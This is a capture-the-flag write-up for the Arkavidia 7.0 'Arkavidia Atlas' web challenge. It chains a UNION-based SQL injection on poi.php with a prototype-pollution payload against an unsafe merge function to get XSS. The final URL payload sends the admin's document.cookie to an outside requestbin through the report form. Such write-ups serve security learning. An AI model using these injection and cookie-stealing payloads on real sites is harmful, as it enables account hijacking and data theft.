# [Arkavidia 7.0 CTF Writeup] Arkavidia Atlas ## Chall Description
![arkavidia_atlas_chall_desc.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866152524/7KvOnXz5K.png align="center") ## Initial Foothold
When first visit the webpage, we get this view of some sort of maps : ![arkavidia_atlas_web_view.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866160432/IeXgjYLRB.png align="center") There is something interesting on the source page and on the JS files : ### view-source:http://slave2.ctf.arkavidia.id:10021/ ```html Arkavidia Atlas

Arkavidia Atlas

Click on a pin to see the location details

``` ### view-source:http://slave2.ctf.arkavidia.id:10021/atlas.js ```js const isObject = (obj) => typeof obj === "object"; function merge(dest, src) { for (let attr in src) { if (isObject(src[attr])) { if (!dest[attr]) dest[attr] = {}; merge(dest[attr], src[attr]); } else { dest[attr] = src[attr]; } } return dest; } function parseHash(hash) { if (!hash) return {}; let parts = hash.split("&"); let out = {}; for (let part in parts) { let sect = parts[part].split("="); let key = sect[0]; let val = decodeURIComponent(sect[1]); merge(out, { [key]: val }); } return out; } function setHashParams(newParams) { hashParams = merge(hashParams, newParams); let attrStrings = []; for (let attr in hashParams) { attrStrings.push(attr + "=" + encodeURIComponent(hashParams[attr])); } window.location.href = "#" + attrStrings.join("&"); } var hash = window.location.hash.substring(1); var hashParams = parseHash(hash); ``` ### view-source:http://slave2.ctf.arkavidia.id:10021/app.js ```js var lat = -6.8905652; var long = 107.6101062; var zoom = 17; window.onhashchange = function () { let hash = window.location.hash.substring(1); hashParams = parseHash(hash); let openedId = hashParams.o; openDetails(openedId); }; if (hashParams.c) { lat = hashParams["c.lat"]; long = hashParams["c.lon"]; } if (hashParams.z) { zoom = hashParams.z; } var points = {}; function openDetails(id) { let point = points[id]; if (point) { $("#details").show(); $("#inst").hide(); $("#poi-title").text(point.name); if (point.img_uri) { $("#poi-preview").attr("src", point.img_uri).show(); } else { $("#poi-preview").hide(); } point.isHtml ? $("#poi-desc").html(point.description) : $("#poi-desc").text(point.description); } else { $("#details").hide(); $("#inst").show(); } } function loadBounds(lngLb, latLb, lngUb, latUb) { $.get( "poi.php", { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb }, function (data) { markers.clearLayers(); points = {}; for (let key in data) { let point = data[key]; merge(points, { [point.id]: point }); if (point.id === hashParams.o) { openDetails(point.id); } let id = point.id; L.marker([point.lat, point.lng]) .on("click", function () { if (hashParams.o !== id) { setHashParams({ o: id }); } else { setHashParams({ o: "" }); } }) .addTo(markers); } } ); } var map = L.map("map", { zoomControl: false, maxZoom: 18 }).setView( [lat, long], zoom ); let markers = L.markerClusterGroup(); map.addLayer(markers); map.on("moveend", function (e) { let center = map.getCenter(); let zoom = map.getZoom(); let bounds = map.getBounds(); loadBounds( bounds._southWest.lng, bounds._southWest.lat, bounds._northEast.lng, bounds._northEast.lat ); setHashParams({ "c.lat": center.lat, "c.lon": center.lng, z: zoom, }); }); $("#close-btn").click(function () { setHashParams({ o: "" }); }); function reportMap() { $("#report-url").val(window.location.hash.substring(1)); $("#reportform").submit(); } L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", { attribution: '© OpenStreetMap contributors | Report Map', }).addTo(map); let bounds = map.getBounds(); let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng; let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat; let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng; let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat; loadBounds(lngLb, latLb, lngUb, latUb); ``` From all of the code above, we assume there should be a XSS technique involved on the solve step to get the flag. We get this assumption based on there is exist a form that we can report something to admin and there is exist an unsafe *merge* function that used on the JS code. ## Finding the SQL Injection
On the *app.js*, there is a background request made to path */poi.php* with some parameters. My teammate, Fadli, then found that there is SQLi on the GET param request. This is the example request and response from normal request :
Request Response 
GET /poi.php?lng_lb=107.604957818985&lat_lb=-6.891912527239271&lng_ub=107.61525750160219&lat_ub=-6.889223063179617 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
Cache-Control: max-age=0
        
HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 11:51:00 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 846
Connection: close
Content-Type: application/json


[
  {
    "id": "1",
    "lat": "-6.890572547912598",
    "lng": "107.6097640991211",
    "name": "Labtek V Benny Subianto",
    "description": "Labtek V adalah gedung tercinta yang digunakan oleh mahasiswa Teknik Informatika dan Sistem dan Teknologi Informasi ITB. Gedung ini memiliki kembaran lainnya, yaitu Labtek VI, VII, dan VIII yang masing-masing memiliki namesake yang berbeda.",
    "img_uri": "https://www.itb.ac.id/files/images/1492062830.jpg",
    "meta": null
  },
  {
    "id": "3",
    "lat": "-6.891597",
    "lng": "107.610387",
    "name": "Lapcin & Lapbas",
    "description": "Di dua lapangan ini biasanya IT Festival Arkavidia dilaksanakan! Lapangan Cinta dan Lapangan Basket merupakan saksi bisu dari kegiatan kemahasiswaan di ITB, baik itu konser maupun agitasi.",
    "img_uri": "https://rinaldimunir.files.wordpress.com/2012/12/271120122982.jpg?w=1280&h=960",
    "meta": {
      "establishment": "open space"
    }
  }
]
From the normal request above, we know that the *meta* value could contain another JSON object, so we try to use **JSON_OBJECT** of the MySQL to select some JSON object on the *meta* value.
Request Response 
GET /poi.php?lng_lb=1&lat_lb=1&lng_ub=(select+108)+and+false+union+select+1,2,3,4,5,1,JSON_OBJECT('test',JSON_OBJECT('test2','asd'))+--+-&lat_ub=1 HTTP/1.1
Host: slave2.ctf.arkavidia.id:10021
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://slave2.ctf.arkavidia.id:10021/
        
HTTP/1.1 200 OK
Date: Sun, 28 Feb 2021 12:02:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 107
Connection: close
Content-Type: application/json


[
  {
    "id": "1",
    "lat": "2",
    "lng": "3",
    "name": "4",
    "description": "5",
    "img_uri": "1",
    "meta": {
      "test": {
        "test2": "asd"
      }
    }
  }
]
This SQLi will be used on building the payload for Prototype Pollution XSS. ## Crafting Prototype Pollution
We know there is an unsafe *merge* function that can be used for Prototype Pollution. For the reference of what is Prototype Pollution ? Can be found [here](https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications) .
First, when the web loads, it will try to build **hashParams** object by using the value supplied on the **location.hash.substring(1)**. Then the webpage will build some parameter and finally call function **loadBounds** : ```js let lngLb = hashParams["b.lng.lb"] || bounds._southWest.lng; let latLb = hashParams["b.lat.lb"] || bounds._southWest.lat; let lngUb = hashParams["b.lng.ub"] || bounds._northEast.lng; let latUb = hashParams["b.lat.ub"] || bounds._northEast.lat; loadBounds(lngLb, latLb, lngUb, latUb); ``` On the **loadBounds** function, there will be a GET request to */poi.php* and the response data will be build to **points** object using unsafe **merge** function : ```js function loadBounds(lngLb, latLb, lngUb, latUb) { $.get( "poi.php", { lng_lb: lngLb, lat_lb: latLb, lng_ub: lngUb, lat_ub: latUb }, function (data) { markers.clearLayers(); points = {}; for (let key in data) { let point = data[key]; merge(points, { [point.id]: point }); if (point.id === hashParams.o) { openDetails(point.id); } ``` After that, there will be a call to function **openDetails** using the *id* received from the response : ```js function openDetails(id) { let point = points[id]; if (point) { $("#details").show(); $("#inst").hide(); $("#poi-title").text(point.name); if (point.img_uri) { $("#poi-preview").attr("src", point.img_uri).show(); } else { $("#poi-preview").hide(); } point.isHtml ? $("#poi-desc").html(point.description) : $("#poi-desc").text(point.description); } else { $("#details").hide(); $("#inst").show(); } } ``` Since we control the value on the **points** object (using SQLi before), we have an idea to inject XSS payload on the **description** value. But, there is one requirement, **point** object must have filled value **isHtml** on the object. But, like you see on the response, there is no **isHtml** value. Do you remember previously that we can inject JSON object on the **meta** response value ? Yes, we will use that to host our Prototype Pollution payload. Since the unsafe **merge** function works recursively, we could pollute the JS prototype by using this value on the **meta** response : ```json {"__proto__": {"isHtml": "true"}} ``` Above payload will pollute the JS prototype and add **.isHtml** value to all the object exist. ## Combine the Vuln and Get the Flag
By combining the two vuln, we come up with this url payload : ``` http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh ``` Visiting above url, we could get a working XSS : ![arkavidia_atlas_xss.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866181070/75_lalPlI.png align="center") After verify the working XSS, we then try to change the url payload to perform a request to our requestbin and try to leak the admin cookie (if there is any): ``` http://slave2.ctf.arkavidia.id:10021/#b.lng.lb=1&b.lat.lb=1&b.lng.ub=(select%20108)%20and%20false%20union%20select%20'bruh',2,3,4,'%3Cimg%20src%3d%22https:///?a%3d%22%2bdocument.cookie%3E',1,JSON_OBJECT('__proto__',JSON_OBJECT('isHtml','true'))%20--%20-&b.lat.ub=1&o=bruh ``` Send it by trigger **reportMap()** function on the console after visiting above url, wait some time, and we receive connection from admin and the flag is located on the User-Agent : ![arkavidia_atlas_flag.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1657866194494/1Cuf72YA3.png align="center") ### Flag : Arkav7{capek_bikin_soalnya_sumpah}